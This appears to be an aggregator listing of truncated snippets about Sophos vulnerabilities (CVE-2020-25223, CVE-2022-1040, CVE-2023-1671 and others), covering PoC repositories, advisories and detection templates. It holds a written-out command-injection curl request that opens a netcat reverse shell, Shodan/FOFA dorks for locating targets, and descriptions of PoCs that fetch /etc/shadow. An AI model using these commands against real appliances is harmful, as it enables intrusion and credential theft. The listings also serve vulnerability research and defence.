CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 184...

IoCs

侵害指標（IoCs） Sophosが公開したレポート由来の侵害指標（IoC） /@&&@ . @ @ %@%, ./&@@&@@@@ @@ @%&@@& .@, @. @ @% @ && %@ .@@@@. &@&@//@& @/ @ @@ @ %@. ,%@@@@@@@@@&/ ., @% @@ @@,&@@ ,@ .@. @ , @& ,@@@@& .@ @ .@. @ .@ @& @@. %@@% ./. @,...

Sophos-Vulnerability

CVE-2022-1040 Sophos RCE 취약점 분석 공격적 사이버보안에 전념하는 연구 그룹 Toasec,에서는 Sophos 방화벽의 이 취약점에 대한 분석을 수행했습니다. 이 취약점은 다른 많은 취약점과 마찬가지로 트위터에서 검색 방법을 알면 발견하고 알릴 수 있습니다. 3월부터 RCE에 관한 기사가 나타나기 시작했습니다. 출처:...

CVE-2023-1671-POC

Dork fofa title="Sophos Web Appliance" || app="Sophos-Web-Appliance" && title!="Sophos Web Appliance：错误请求" ZoomEye title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request" Shodan title:"Sophos Web Appliance" 사용법 python CVE-2023-1671-POC.py -u...

sophucked

sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...

CVE-2022-1040

CVE-2022-1040 : Sophos XG115w Firewall 17.0.10 MR-10 - 인증 우회 이 취약점은 공격자가 인증을 우회하여 방화벽 관리 공간에 무단으로 접근할 수 있게 합니다. ☕️ 실시간 : ....... 업데이트됨...

CVE-2022-1040

CVE-2022-1040 2022-08-04에 발견된 Sophos 익스플로잇으로, 버전 17.0.10 MR-10에서 작동합니다...

Sophos Mobile managed on-premises - XML External Entity Injection

An XML External Entity XXE vulnerability allows server-side request forgery SSRF and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4. id: CVE-2022-3980 info: name: Sophos Mobile managed on-premises - XML External Entity Injection author: dabla...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc Sophos Webmin 포탈 인증 우회 및 RCE 올인원 스크립트; 이 취약점은 Sophos Firewall v18.5 MR3 18.5.3 및 이하 버전에 영향을 미칩니다. 완화 방법: 가능한 빨리 최신 버전으로 업데이트하세요 https://support.sophos.com/support/s/article/KB-000043853?language=enUS 이 스크립트의 오용을 방지하기 위해 무료가 아닙니다: 이 스크립트와 Shodan에서 새로 추출한...

CVE-2021-36808

CVE-2021-36808 日本語訳 ローカルの攻撃者は、Sophos Secure Workspace for Android のバージョン 9.7.3115 より前のバージョンにおいて、競合状態を利用してアプリのパスワードをバイパスできる可能性があります。 アドバイザリ: https://www.sophos.com/en-us/security-advisories/sophos-sa-20211029-ssw-pw-bypass 詳細レポート: https://ctulhu.me/posts/sophos-secure-workspace-app-password-bypass...

Sophos UTM Preauth - Remote Code Execution

Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11. id: CVE-2020-25223 info: name: Sophos UTM Preauth - Remote Code Execution author: gy741 severity: critical description: Sophos SG UTMA WebAdmin is susceptibl...

cve-2022-1040

환경 Python 환경3.10에서 가상 환경 사용을 강력히 권장합니다 pip3 install baseproxy python3.10은 baseproxy와 함께 다운로드된 pyOpenSSL 버전이 너무 낮으면 AttributeError를 발생시킵니다. 최신 버전을 재설치하면 해결됩니다. pip3 uninstall pyOpenSSL pip3 install pyOpenSSL 실행 python3 Sophos-poc.py Docker에서 docker pull keithdockerhub/cve-2022-1040:latest or build...

CVE-2020-25223

CVE-2020-25223 영향을 받는 Sophos UTM을 대상으로 CVE-2020-25223을 테스트하기 위한 PoC 스크립트입니다. IP 주소가 주어지면 스크립트는 해당 장치의 /etc/shadow 파일 사본을 다운로드하려고 시도합니다. 원본 연구: https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223...

Sophos Web Appliance - Remote Code Execution

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code. id: CVE-2023-1671 info: name: Sophos Web Appliance - Remote Code Execution author: Co5mos severity: critical description: | A pre-auth...

Sophos Firewall <=18.5 MR3 - Remote Code Execution

Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code. id: CVE-2022-1040 info: name: Sophos Firewall =18.5 MR4 to mitigate this vulnerability. reference: -...

Sophos Firewall <= 19.0 MR1 - Remote Code Execution

Sophos Firewall version v19.0 MR1 and older is vulnerable to code injection in the User Portal and Webadmin, allowing a remote unauthenticated attacker to execute arbitrary code. id: CVE-2022-3236 info: name: Sophos Firewall = 19.0 MR1 - Remote Code Execution author: daffainfo severity: critical...

EUVD-2026-54262

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...

CVE-2026-18367

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...

CVE-2026-18367

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...

CVE-2026-18367

A privilege escalation vulnerability allows local users to execute arbitrary code as root via Sophos Endpoint for macOS older than version 2026.1.1 and Sophos Home for macOS older than version 10.11.6...